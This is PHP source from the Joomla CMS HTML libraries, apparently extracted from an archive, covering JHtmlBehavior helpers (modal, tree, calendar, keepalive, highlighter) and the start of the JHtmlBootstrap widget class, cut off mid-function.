if (isset(static::$loaded[__METHOD__][$sig]))
{
return;
}
JLog::add('JHtmlBehavior::modal is deprecated. Use the modal
equivalent from bootstrap.', JLog::WARNING, 'deprecated');
// Setup options object
$opt['ajaxOptions'] = isset($params['ajaxOptions'])
&& is_array($params['ajaxOptions']) ?
$params['ajaxOptions'] : null;
$opt['handler'] = isset($params['handler']) ?
$params['handler'] : null;
$opt['parseSecure'] = isset($params['parseSecure'])
? (bool) $params['parseSecure'] : null;
$opt['closable'] = isset($params['closable']) ?
(bool) $params['closable'] : null;
$opt['closeBtn'] = isset($params['closeBtn']) ?
(bool) $params['closeBtn'] : null;
$opt['iframePreload'] =
isset($params['iframePreload']) ? (bool)
$params['iframePreload'] : null;
$opt['iframeOptions'] =
isset($params['iframeOptions']) &&
is_array($params['iframeOptions']) ?
$params['iframeOptions'] : null;
$opt['size'] = isset($params['size'])
&& is_array($params['size']) ? $params['size']
: null;
$opt['shadow'] = isset($params['shadow']) ?
$params['shadow'] : null;
$opt['overlay'] = isset($params['overlay']) ?
$params['overlay'] : null;
$opt['onOpen'] = isset($params['onOpen']) ?
$params['onOpen'] : null;
$opt['onClose'] = isset($params['onClose']) ?
$params['onClose'] : null;
$opt['onUpdate'] = isset($params['onUpdate']) ?
$params['onUpdate'] : null;
$opt['onResize'] = isset($params['onResize']) ?
$params['onResize'] : null;
$opt['onMove'] = isset($params['onMove']) ?
$params['onMove'] : null;
$opt['onShow'] = isset($params['onShow']) ?
$params['onShow'] : null;
$opt['onHide'] = isset($params['onHide']) ?
$params['onHide'] : null;
// Include jQuery
JHtml::_('jquery.framework');
if (isset($params['fullScreen']) && (bool)
$params['fullScreen'])
{
$opt['size'] = array('x' =>
'\\jQuery(window).width() - 80', 'y' =>
'\\jQuery(window).height() - 80');
}
$options = JHtml::getJSObject($opt);
// Attach modal behavior to document
$document
->addScriptDeclaration(
"
jQuery(function($) {
SqueezeBox.initialize(" . $options . ");
initSqueezeBox();
$(document).on('subform-row-add', initSqueezeBox);
function initSqueezeBox(event, container)
{
SqueezeBox.assign($(container || document).find('" .
$selector . "').get(), {
parse: 'rel'
});
}
});
window.jModalClose = function () {
SqueezeBox.close();
};
// Add extra modal close functionality for tinyMCE-based editors
document.onreadystatechange = function () {
if (document.readyState == 'interactive' && typeof
tinyMCE != 'undefined' && tinyMCE)
{
if (typeof window.jModalClose_no_tinyMCE === 'undefined')
{
window.jModalClose_no_tinyMCE = typeof(jModalClose) ==
'function' ? jModalClose : false;
jModalClose = function () {
if (window.jModalClose_no_tinyMCE)
window.jModalClose_no_tinyMCE.apply(this, arguments);
tinyMCE.activeEditor.windowManager.close();
};
}
if (typeof window.SqueezeBoxClose_no_tinyMCE === 'undefined')
{
if (typeof(SqueezeBox) == 'undefined') SqueezeBox = {};
window.SqueezeBoxClose_no_tinyMCE = typeof(SqueezeBox.close) ==
'function' ? SqueezeBox.close : false;
SqueezeBox.close = function () {
if (window.SqueezeBoxClose_no_tinyMCE)
window.SqueezeBoxClose_no_tinyMCE.apply(this, arguments);
tinyMCE.activeEditor.windowManager.close();
};
}
}
};
"
);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
return;
}
/**
* JavaScript behavior to allow shift select in grids
*
* @param string $id The id of the form for which a multiselect
behaviour is to be applied.
*
* @return void
*
* @since 1.7
*/
public static function multiselect($id = 'adminForm')
{
// Only load once
if (isset(static::$loaded[__METHOD__][$id]))
{
return;
}
// Include core
static::core();
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'system/multiselect.js',
array('version' => 'auto', 'relative'
=> true));
// Attach multiselect to document
JFactory::getDocument()->addScriptDeclaration(
"jQuery(document).ready(function() {
Joomla.JMultiSelect('" . $id . "');
});"
);
// Set static array
static::$loaded[__METHOD__][$id] = true;
return;
}
/**
* Add unobtrusive javascript support for a collapsible tree.
*
* @param string $id An index
* @param array $params An array of options.
* @param array $root The root node
*
* @return void
*
* @since 1.5
*/
public static function tree($id, $params = array(), $root = array())
{
// Include MooTools framework
static::framework();
JHtml::_('script', 'system/mootree.js',
array('framework' => true, 'version' =>
'auto', 'relative' => true));
JHtml::_('stylesheet', 'system/mootree.css',
array('version' => 'auto', 'relative'
=> true));
if (isset(static::$loaded[__METHOD__][$id]))
{
return;
}
// Include jQuery
JHtml::_('jquery.framework');
// Setup options object
$opt['div'] = array_key_exists('div', $params) ?
$params['div'] : $id . '_tree';
$opt['mode'] = array_key_exists('mode', $params) ?
$params['mode'] : 'folders';
$opt['grid'] = array_key_exists('grid', $params) ?
'\\' . $params['grid'] : true;
$opt['theme'] = array_key_exists('theme', $params) ?
$params['theme'] : JHtml::_('image',
'system/mootree.gif', '', array(), true, true);
// Event handlers
$opt['onExpand'] = array_key_exists('onExpand',
$params) ? '\\' . $params['onExpand'] : null;
$opt['onSelect'] = array_key_exists('onSelect',
$params) ? '\\' . $params['onSelect'] : null;
$opt['onClick'] = array_key_exists('onClick',
$params) ? '\\' . $params['onClick']
: '\\function(node){ window.open(node.data.url, node.data.target !=
null ? node.data.target : \'_self\'); }';
$options = JHtml::getJSObject($opt);
// Setup root node
$rt['text'] = array_key_exists('text', $root) ?
$root['text'] : 'Root';
$rt['id'] = array_key_exists('id', $root) ?
$root['id'] : null;
$rt['color'] = array_key_exists('color', $root) ?
$root['color'] : null;
$rt['open'] = array_key_exists('open', $root) ?
'\\' . $root['open'] : true;
$rt['icon'] = array_key_exists('icon', $root) ?
$root['icon'] : null;
$rt['openicon'] = array_key_exists('openicon', $root)
? $root['openicon'] : null;
$rt['data'] = array_key_exists('data', $root) ?
$root['data'] : null;
$rootNode = JHtml::getJSObject($rt);
$treeName = array_key_exists('treeName', $params) ?
$params['treeName'] : '';
$js = ' jQuery(function(){
tree' . $treeName . ' = new MooTreeControl(' . $options .
',' . $rootNode . ');
tree' . $treeName . '.adopt(\'' . $id .
'\');})';
// Attach tooltips to document
$document = JFactory::getDocument();
$document->addScriptDeclaration($js);
// Set static array
static::$loaded[__METHOD__][$id] = true;
return;
}
/**
* Add unobtrusive JavaScript support for a calendar control.
*
* @return void
*
* @since 1.5
*
* @deprecated 4.0
*/
public static function calendar()
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
JLog::add('JHtmlBehavior::calendar is deprecated as the static
assets are being loaded in the relative layout.', JLog::WARNING,
'deprecated');
$document = JFactory::getDocument();
$tag = JFactory::getLanguage()->getTag();
$attribs = array('title' =>
JText::_('JLIB_HTML_BEHAVIOR_GREEN'), 'media' =>
'all');
JHtml::_('stylesheet', 'system/calendar-jos.css',
array('version' => 'auto', 'relative'
=> true), $attribs);
JHtml::_('script', $tag . '/calendar.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('script', $tag . '/calendar-setup.js',
array('version' => 'auto', 'relative'
=> true));
$translation = static::calendartranslation();
if ($translation)
{
$document->addScriptDeclaration($translation);
}
static::$loaded[__METHOD__] = true;
}
/**
* Add unobtrusive JavaScript support for a color picker.
*
* @return void
*
* @since 1.7
*
* @deprecated 4.0 Use directly the field or the layout
*/
public static function colorpicker()
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'jui/jquery.minicolors.min.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'jui/jquery.minicolors.css',
array('version' => 'auto', 'relative'
=> true));
JFactory::getDocument()->addScriptDeclaration("
jQuery(document).ready(function (){
jQuery('.minicolors').each(function() {
jQuery(this).minicolors({
control: jQuery(this).attr('data-control') ||
'hue',
format: jQuery(this).attr('data-validate') ===
'color'
? 'hex'
: (jQuery(this).attr('data-format') === 'rgba'
? 'rgb'
: jQuery(this).attr('data-format'))
|| 'hex',
keywords: jQuery(this).attr('data-keywords') ||
'',
opacity: jQuery(this).attr('data-format') ===
'rgba' ? true : false || false,
position: jQuery(this).attr('data-position') ||
'default',
theme: 'bootstrap'
});
});
});
"
);
static::$loaded[__METHOD__] = true;
}
/**
* Add unobtrusive JavaScript support for a simple color picker.
*
* @return void
*
* @since 3.1
*
* @deprecated 4.0 Use directly the field or the layout
*/
public static function simplecolorpicker()
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'jui/jquery.simplecolors.min.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'jui/jquery.simplecolors.css',
array('version' => 'auto', 'relative'
=> true));
JFactory::getDocument()->addScriptDeclaration("
jQuery(document).ready(function (){
jQuery('select.simplecolors').simplecolors();
});
"
);
static::$loaded[__METHOD__] = true;
}
/**
* Keep session alive, for example, while editing or creating an article.
*
* @return void
*
* @since 1.5
*/
public static function keepalive()
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
$session = JFactory::getSession();
// If the handler is not 'Database', we set a fixed, small
refresh value (here: 5 min)
$refreshTime = 300;
if ($session->storeName === 'database')
{
$lifeTime = $session->getExpire();
$refreshTime = $lifeTime <= 60 ? 45 : $lifeTime - 60;
// The longest refresh period is one hour to prevent integer overflow.
if ($refreshTime > 3600 || $refreshTime <= 0)
{
$refreshTime = 3600;
}
}
// If we are in the frontend or logged in as a user, we can use the ajax
component to reduce the load
$uri = 'index.php' .
(JFactory::getApplication()->isClient('site') ||
!JFactory::getUser()->guest ?
'?option=com_ajax&format=json' : '');
// Include core and polyfill for browsers lower than IE 9.
static::core();
static::polyfill('event', 'lt IE 9');
// Add keepalive script options.
JFactory::getDocument()->addScriptOptions('system.keepalive',
array('interval' => $refreshTime * 1000, 'uri' =>
JRoute::_($uri)));
// Add script.
JHtml::_('script', 'system/keepalive.js',
array('version' => 'auto', 'relative'
=> true));
static::$loaded[__METHOD__] = true;
return;
}
/**
* Highlight some words via Javascript.
*
* @param array $terms Array of words that should be highlighted.
* @param string $start ID of the element that marks the begin of
the section in which words
* should be highlighted. Note this element
will be removed from the DOM.
* @param string $end ID of the element that end this section.
* Note this element will be removed from the
DOM.
* @param string $className Class name of the element highlights are
wrapped in.
* @param string $tag Tag that will be used to wrap the
highlighted words.
*
* @return void
*
* @since 2.5
*/
public static function highlighter(array $terms, $start =
'highlighter-start', $end = 'highlighter-end',
$className = 'highlight', $tag = 'span')
{
$sig = md5(serialize(array($terms, $start, $end)));
if (isset(static::$loaded[__METHOD__][$sig]))
{
return;
}
$terms = array_filter($terms, 'strlen');
// Nothing to Highlight
if (empty($terms))
{
static::$loaded[__METHOD__][$sig] = true;
return;
}
// Include core
static::core();
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'system/highlighter.js',
array('version' => 'auto', 'relative'
=> true));
foreach ($terms as $i => $term)
{
$terms[$i] = JFilterOutput::stringJSSafe($term);
}
$document = JFactory::getDocument();
$document->addScriptDeclaration("
jQuery(function ($) {
var start = document.getElementById('" . $start .
"');
var end = document.getElementById('" . $end . "');
if (!start || !end || !Joomla.Highlighter) {
return true;
}
highlighter = new Joomla.Highlighter({
startElement: start,
endElement: end,
className: '" . $className . "',
onlyWords: false,
tag: '" . $tag . "'
}).highlight([\"" . implode('","',
$terms) . "\"]);
$(start).remove();
$(end).remove();
});
");
static::$loaded[__METHOD__][$sig] = true;
return;
}
/**
* Break us out of any containing iframes
*
* @return void
*
* @since 1.5
*
* @deprecated 4.0 Add a X-Frame-Options HTTP Header with the SAMEORIGIN
value instead.
*/
public static function noframes()
{
JLog::add(__METHOD__ . ' is deprecated, add a X-Frame-Options HTTP
Header with the SAMEORIGIN value instead.', JLog::WARNING,
'deprecated');
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Include core
static::core();
// Include jQuery
JHtml::_('jquery.framework');
$js = 'jQuery(function () {
if (top == self) {
document.documentElement.style.display = "block";
}
else
{
top.location = self.location;
}
// Firefox fix
jQuery("input[autofocus]").focus();
})';
$document = JFactory::getDocument();
$document->addStyleDeclaration('html { display:none }');
$document->addScriptDeclaration($js);
JFactory::getApplication()->setHeader('X-Frame-Options',
'SAMEORIGIN');
static::$loaded[__METHOD__] = true;
}
/**
* Internal method to get a JavaScript object notation string from an
array
*
* @param array $array The array to convert to JavaScript object
notation
*
* @return string JavaScript object notation representation of the array
*
* @since 1.5
* @deprecated 4.0 - Use JHtml::getJSObject() instead.
*/
protected static function _getJSObject($array = array())
{
JLog::add('JHtmlBehavior::_getJSObject() is deprecated.
JHtml::getJSObject() instead..', JLog::WARNING,
'deprecated');
return JHtml::getJSObject($array);
}
/**
* Add unobtrusive JavaScript support to keep a tab state.
*
* Note that keeping tab state only works for inner tabs if in accordance
with the following example:
*
* ```
* parent tab = permissions
* child tab = permission-<identifier>
* ```
*
* Each tab header `<a>` tag also should have a unique href
attribute
*
* @return void
*
* @since 3.2
*/
public static function tabstate()
{
if (isset(self::$loaded[__METHOD__]))
{
return;
}
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('behavior.polyfill',
array('filter','xpath'));
JHtml::_('script', 'system/tabs-state.js',
array('version' => 'auto', 'relative'
=> true));
self::$loaded[__METHOD__] = true;
}
/**
* Add javascript polyfills.
*
* @param string|array $polyfillTypes The polyfill type(s).
Examples: event, array('event', 'classlist').
* @param string $conditionalBrowser An IE conditional
expression. Example: lt IE 9 (lower than IE 9).
*
* @return void
*
* @since 3.7.0
*/
public static function polyfill($polyfillTypes = null, $conditionalBrowser
= null)
{
if ($polyfillTypes === null)
{
return;
}
foreach ((array) $polyfillTypes as $polyfillType)
{
$sig = md5(serialize(array($polyfillType, $conditionalBrowser)));
// Only load once
if (isset(static::$loaded[__METHOD__][$sig]))
{
continue;
}
// If include according to browser.
$scriptOptions = array('version' => 'auto',
'relative' => true);
$scriptOptions = $conditionalBrowser !== null ?
array_replace($scriptOptions, array('conditional' =>
$conditionalBrowser)) : $scriptOptions;
JHtml::_('script', 'system/polyfill.' .
$polyfillType . '.js', $scriptOptions);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
}
}
/**
* Internal method to translate the JavaScript Calendar
*
* @return string JavaScript that translates the object
*
* @since 1.5
*/
protected static function calendartranslation()
{
static $jsscript = 0;
// Guard clause, avoids unnecessary nesting
if ($jsscript)
{
return false;
}
$jsscript = 1;
// To keep the code simple here, run strings through JText::_() using
array_map()
$callback = array('JText', '_');
$weekdays_full = array_map(
$callback, array(
'SUNDAY', 'MONDAY', 'TUESDAY',
'WEDNESDAY', 'THURSDAY', 'FRIDAY',
'SATURDAY', 'SUNDAY',
)
);
$weekdays_short = array_map(
$callback,
array(
'SUN', 'MON', 'TUE', 'WED',
'THU', 'FRI', 'SAT', 'SUN',
)
);
$months_long = array_map(
$callback, array(
'JANUARY', 'FEBRUARY', 'MARCH',
'APRIL', 'MAY', 'JUNE',
'JULY', 'AUGUST', 'SEPTEMBER',
'OCTOBER', 'NOVEMBER', 'DECEMBER',
)
);
$months_short = array_map(
$callback, array(
'JANUARY_SHORT', 'FEBRUARY_SHORT',
'MARCH_SHORT', 'APRIL_SHORT', 'MAY_SHORT',
'JUNE_SHORT',
'JULY_SHORT', 'AUGUST_SHORT',
'SEPTEMBER_SHORT', 'OCTOBER_SHORT',
'NOVEMBER_SHORT', 'DECEMBER_SHORT',
)
);
// This will become an object in Javascript but define it first in PHP
for readability
$today = " " . JText::_('JLIB_HTML_BEHAVIOR_TODAY') .
" ";
$text = array(
'INFO' =>
JText::_('JLIB_HTML_BEHAVIOR_ABOUT_THE_CALENDAR'),
'ABOUT' => "DHTML Date/Time Selector\n"
. "(c) dynarch.com 20022005 / Author: Mihai Bazon\n"
. "For latest version visit:
http://www.dynarch.com/projects/calendar/\n"
. "Distributed under GNU LGPL. See
http://gnu.org/licenses/lgpl.html for details."
. "\n\n"
. JText::_('JLIB_HTML_BEHAVIOR_DATE_SELECTION')
. JText::_('JLIB_HTML_BEHAVIOR_YEAR_SELECT')
. JText::_('JLIB_HTML_BEHAVIOR_MONTH_SELECT')
. JText::_('JLIB_HTML_BEHAVIOR_HOLD_MOUSE'),
'ABOUT_TIME' => "\n\n"
. "Time selection:\n"
. " Click on any of the time parts to increase it\n"
. " or Shiftclick to decrease it\n"
. " or click and drag for faster selection.",
'PREV_YEAR' =>
JText::_('JLIB_HTML_BEHAVIOR_PREV_YEAR_HOLD_FOR_MENU'),
'PREV_MONTH' =>
JText::_('JLIB_HTML_BEHAVIOR_PREV_MONTH_HOLD_FOR_MENU'),
'GO_TODAY' =>
JText::_('JLIB_HTML_BEHAVIOR_GO_TODAY'),
'NEXT_MONTH' =>
JText::_('JLIB_HTML_BEHAVIOR_NEXT_MONTH_HOLD_FOR_MENU'),
'SEL_DATE' =>
JText::_('JLIB_HTML_BEHAVIOR_SELECT_DATE'),
'DRAG_TO_MOVE' =>
JText::_('JLIB_HTML_BEHAVIOR_DRAG_TO_MOVE'),
'PART_TODAY' => $today,
'DAY_FIRST' =>
JText::_('JLIB_HTML_BEHAVIOR_DISPLAY_S_FIRST'),
'WEEKEND' =>
JFactory::getLanguage()->getWeekEnd(),
'CLOSE' =>
JText::_('JLIB_HTML_BEHAVIOR_CLOSE'),
'TODAY' =>
JText::_('JLIB_HTML_BEHAVIOR_TODAY'),
'TIME_PART' =>
JText::_('JLIB_HTML_BEHAVIOR_SHIFT_CLICK_OR_DRAG_TO_CHANGE_VALUE'),
'DEF_DATE_FORMAT' => "%Y%m%d",
'TT_DATE_FORMAT' =>
JText::_('JLIB_HTML_BEHAVIOR_TT_DATE_FORMAT'),
'WK' =>
JText::_('JLIB_HTML_BEHAVIOR_WK'),
'TIME' =>
JText::_('JLIB_HTML_BEHAVIOR_TIME'),
);
return 'Calendar._DN = ' . json_encode($weekdays_full) .
';'
. ' Calendar._SDN = ' . json_encode($weekdays_short) .
';'
. ' Calendar._FD = 0;'
. ' Calendar._MN = ' . json_encode($months_long) .
';'
. ' Calendar._SMN = ' . json_encode($months_short) .
';'
. ' Calendar._TT = ' . json_encode($text) . ';';
}
}
PK〈[���v�v�html/bootstrap.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for Bootstrap elements.
*
* @since 3.0
*/
abstract class JHtmlBootstrap
{
/**
* @var array Array containing information for loaded files
* @since 3.0
*/
protected static $loaded = array();
/**
* Add javascript support for the Bootstrap affix plugin
*
* @param string $selector Unique selector for the element to be
affixed.
* @param array $params An array of options.
* Options for the affix plugin can be:
* - offset number|function|object Pixels to
offset from screen when calculating position of scroll.
* If a
single number is provided, the offset will be applied in both top
* and left
directions. To listen for a single direction, or multiple
* unique
offsets, just provide an object offset: { x: 10 }.
* Use a
function when you need to dynamically provide an offset
* (useful
for some responsive designs).
*
* @return void
*
* @since 3.1
*
* @deprecated 4.0 Bootstrap 4.0 dropped this so will Joomla.
*/
public static function affix($selector = 'affix', $params =
array())
{
$sig = md5(serialize(array($selector, $params)));
if (!isset(static::$loaded[__METHOD__][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['offset'] = isset($params['offset']) ?
$params['offset'] : 10;
$options = JHtml::getJSObject($opt);
// Attach affix to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('#' .
$selector) . ').affix(' . $options . '); });'
);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
}
return;
}
/**
* Add javascript support for Bootstrap alerts
*
* @param string $selector Common class for the alerts
*
* @return void
*
* @since 3.0
*/
public static function alert($selector = 'alert')
{
// Only load once
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Attach the alerts to the document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('.' .
$selector) . ').alert(); });'
);
static::$loaded[__METHOD__][$selector] = true;
return;
}
/**
* Add javascript support for Bootstrap buttons
*
* @param string $selector Common class for the buttons
*
* @return void
*
* @since 3.1
*/
public static function button($selector = 'button')
{
// Only load once
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Attach the button to the document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('.' .
$selector) . ').button(); });'
);
static::$loaded[__METHOD__][$selector] = true;
return;
}
/**
* Add javascript support for Bootstrap carousels
*
* @param string $selector Common class for the carousels.
* @param array $params An array of options for the carousel.
* Options for the carousel can be:
* - interval number The amount of time to
delay between automatically cycling an item.
* If false, carousel will
not automatically cycle.
* - pause string Pauses the cycling of
the carousel on mouseenter and resumes the cycling
* of the carousel on
mouseleave.
*
* @return void
*
* @since 3.0
*/
public static function carousel($selector = 'carousel', $params
= array())
{
$sig = md5(serialize(array($selector, $params)));
if (!isset(static::$loaded[__METHOD__][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['interval'] = isset($params['interval']) ?
(int) $params['interval'] : 5000;
$opt['pause'] = isset($params['pause']) ?
$params['pause'] : 'hover';
$options = JHtml::getJSObject($opt);
// Attach the carousel to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('.' .
$selector) . ').carousel(' . $options . '); });'
);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
}
return;
}
/**
* Add javascript support for Bootstrap dropdowns
*
* @param string $selector Common class for the dropdowns
*
* @return void
*
* @since 3.0
*/
public static function dropdown($selector = 'dropdown-toggle')
{
// Only load once
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Attach the dropdown to the document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('.' .
$selector) . ').dropdown(); });'
);
static::$loaded[__METHOD__][$selector] = true;
return;
}
/**
* Method to load the Bootstrap JavaScript framework into the document
head
*
* If debugging mode is on an uncompressed version of Bootstrap is
included for easier debugging.
*
* @param mixed $debug Is debugging mode on? [optional]
*
* @return void
*
* @since 3.0
*/
public static function framework($debug = null)
{
// Only load once
if (!empty(static::$loaded[__METHOD__]))
{
return;
}
// Load jQuery
JHtml::_('jquery.framework');
// If no debugging value is set, use the configuration setting
if ($debug === null)
{
$debug = JDEBUG;
}
JHtml::_('script', 'jui/bootstrap.min.js',
array('version' => 'auto', 'relative'
=> true, 'detectDebug' => $debug));
static::$loaded[__METHOD__] = true;
return;
}
/**
* Add javascript support for Bootstrap modals
*
* @param string $selector The ID selector for the modal.
* @param array $params An array of options for the modal.
* Options for the modal can be:
* - backdrop boolean Includes a
modal-backdrop element.
* - keyboard boolean Closes the modal when
escape key is pressed.
* - show boolean Shows the modal when
initialized.
* - remote string An optional remote URL
to load
*
* @return void
*
* @since 3.0
* @deprecated 4.0 This method was used by the old renderModal()
implementation.
* Since the new implementation it is unneeded and the
broken JS it was injecting could create issues
* As a case, please see:
https://github.com/joomla/joomla-cms/pull/6918
*/
public static function modal($selector = 'modal', $params =
array())
{
$sig = md5(serialize(array($selector, $params)));
if (!isset(static::$loaded[__METHOD__][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['backdrop'] = isset($params['backdrop']) ?
(boolean) $params['backdrop'] : true;
$opt['keyboard'] = isset($params['keyboard']) ?
(boolean) $params['keyboard'] : true;
$opt['show'] = isset($params['show']) ?
(boolean) $params['show'] : false;
$opt['remote'] = isset($params['remote']) ?
$params['remote'] : '';
$options = JHtml::getJSObject($opt);
// Attach the modal to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('#' .
$selector) . ').modal(' . $options . '); });'
);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
}
return;
}
/**
* Method to render a Bootstrap modal
*
* @param string $selector The ID selector for the modal.
* @param array $params An array of options for the modal.
* Options for the modal can be:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the
top of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource
to be inserted as an `<iframe>` inside the modal body
* - height string height of the
`<iframe>` containing the remote resource
* - width string width of the
`<iframe>` containing the remote resource
* @param string $body Markup for the modal body. Appended after
the `<iframe>` if the URL option is set
*
* @return string HTML markup for a modal
*
* @since 3.0
*/
public static function renderModal($selector = 'modal', $params
= array(), $body = '')
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
$layoutData = array(
'selector' => $selector,
'params' => $params,
'body' => $body,
);
return JLayoutHelper::render('joomla.modal.main', $layoutData);
}
/**
* Add javascript support for Bootstrap popovers
*
* Use element's Title as popover content
*
* @param string $selector Selector for the popover
* @param array $params An array of options for the popover.
* Options for the popover can be:
* animation boolean apply a css fade
transition to the popover
* html boolean Insert HTML into the
popover. If false, jQuery's text method will be used to insert
* content into the dom.
* placement string|function how to position the
popover - top | bottom | left | right
* selector string If a selector is
provided, popover objects will be delegated to the specified targets.
* trigger string how popover is
triggered - hover | focus | manual
* title string|function default title value if
`title` tag isn't present
* content string|function default content value
if `data-content` attribute isn't present
* delay number|object delay showing and
hiding the popover (ms) - does not apply to manual trigger type
* If a number is
supplied, delay is applied to both hide/show
* Object structure is:
delay: { show: 500, hide: 100 }
* container string|boolean Appends the popover to
a specific element: { container: 'body' }
*
* @return void
*
* @since 3.0
*/
public static function popover($selector = '.hasPopover',
$params = array())
{
// Only load once
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
$opt['animation'] = isset($params['animation']) ?
$params['animation'] : null;
$opt['html'] = isset($params['html']) ?
$params['html'] : true;
$opt['placement'] = isset($params['placement']) ?
$params['placement'] : null;
$opt['selector'] = isset($params['selector']) ?
$params['selector'] : null;
$opt['title'] = isset($params['title']) ?
$params['title'] : null;
$opt['trigger'] = isset($params['trigger']) ?
$params['trigger'] : 'hover focus';
$opt['content'] = isset($params['content']) ?
$params['content'] : null;
$opt['delay'] = isset($params['delay']) ?
$params['delay'] : null;
$opt['container'] = isset($params['container']) ?
$params['container'] : 'body';
$options = JHtml::getJSObject($opt);
$initFunction = 'function initPopovers (event, container) { ' .
'$(container || document).find(' . json_encode($selector) .
').popover(' . $options . ');' .
'}';
// Attach the popover to the document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ initPopovers();
$("body").on("subform-row-add", initPopovers); ' .
$initFunction . ' });'
);
static::$loaded[__METHOD__][$selector] = true;
return;
}
/**
* Add javascript support for Bootstrap ScrollSpy
*
* @param string $selector The ID selector for the ScrollSpy element.
* @param array $params An array of options for the ScrollSpy.
* Options for the ScrollSpy can be:
* - offset number Pixels to offset from top
when calculating position of scroll.
*
* @return void
*
* @since 3.0
*/
public static function scrollspy($selector = 'navbar', $params =
array())
{
$sig = md5(serialize(array($selector, $params)));
if (!isset(static::$loaded[__METHOD__][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['offset'] = isset($params['offset']) ? (int)
$params['offset'] : 10;
$options = JHtml::getJSObject($opt);
// Attach ScrollSpy to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode('#' .
$selector) . ').scrollspy(' . $options . '); });'
);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
}
return;
}
/**
* Add javascript support for Bootstrap tooltips
*
* Add a title attribute to any element in the form
* title="title::text"
*
* @param string $selector The ID selector for the tooltip.
* @param array $params An array of options for the tooltip.
* Options for the tooltip can be:
* - animation boolean Apply a CSS
fade transition to the tooltip
* - html boolean Insert HTML
into the tooltip. If false, jQuery's text method will be used to
insert
* content into
the dom.
* - placement string|function How to
position the tooltip - top | bottom | left | right
* - selector string If a selector
is provided, tooltip objects will be delegated to the specified targets.
* - title string|function Default title
value if `title` tag isn't present
* - trigger string How tooltip
is triggered - hover | focus | manual
* - delay integer Delay showing
and hiding the tooltip (ms) - does not apply to manual trigger type
* If a number
is supplied, delay is applied to both hide/show
* Object
structure is: delay: { show: 500, hide: 100 }
* - container string|boolean Appends the
popover to a specific element: { container: 'body' }
*
* @return void
*
* @since 3.0
*/
public static function tooltip($selector = '.hasTooltip',
$params = array())
{
if (!isset(static::$loaded[__METHOD__][$selector]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['animation'] = isset($params['animation']) ?
(boolean) $params['animation'] : null;
$opt['html'] = isset($params['html']) ?
(boolean) $params['html'] : true;
$opt['placement'] = isset($params['placement']) ?
(string) $params['placement'] : null;
$opt['selector'] = isset($params['selector']) ?
(string) $params['selector'] : null;
$opt['title'] = isset($params['title']) ?
(string) $params['title'] : null;
$opt['trigger'] = isset($params['trigger']) ?
(string) $params['trigger'] : null;
$opt['delay'] = isset($params['delay']) ?
(is_array($params['delay']) ? $params['delay'] : (int)
$params['delay']) : null;
$opt['container'] = isset($params['container']) ?
$params['container'] : 'body';
$opt['template'] = isset($params['template']) ?
(string) $params['template'] : null;
$onShow = isset($params['onShow']) ? (string)
$params['onShow'] : null;
$onShown = isset($params['onShown']) ? (string)
$params['onShown'] : null;
$onHide = isset($params['onHide']) ? (string)
$params['onHide'] : null;
$onHidden = isset($params['onHidden']) ? (string)
$params['onHidden'] : null;
$options = JHtml::getJSObject($opt);
// Build the script.
$script = array('$(container).find(' . json_encode($selector)
. ').tooltip(' . $options . ')');
if ($onShow)
{
$script[] = 'on("show.bs.tooltip", ' . $onShow .
')';
}
if ($onShown)
{
